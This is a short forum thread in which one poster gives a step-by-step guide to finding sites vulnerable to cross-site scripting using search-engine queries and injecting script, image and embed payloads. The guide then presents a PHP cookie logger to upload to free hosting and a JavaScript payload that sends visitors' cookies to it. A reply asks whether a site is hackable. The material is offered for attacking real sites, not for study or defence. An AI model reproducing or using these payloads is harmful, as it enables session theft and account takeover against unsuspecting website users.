[HeR97]

To find vuln sites search google for:
inurl:default.aspx?tag=
or
inurlearch.php?q=
WHen you found website delete everything after = and type <script>alert("your text")</script>
If it is vulnerable a windows will open and write you text
If you want to add something to there delete everything after = and type <IMG SRC="here is the website of your picture">
If you want to add flash video there type this after =
EMBED SRC="site with video.swf"
If you want to steal cookies do this:
Open notepad and type this:
<?php // line 1
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?>
save it as .php
Upload it to free hosting and chmod it to 777 to nobody except you see that
add this to the link
window.location = "link of your cookie stealer?c="+document.cookie
And thats all
Enjoy

[ericthow]

is invuln site hackable?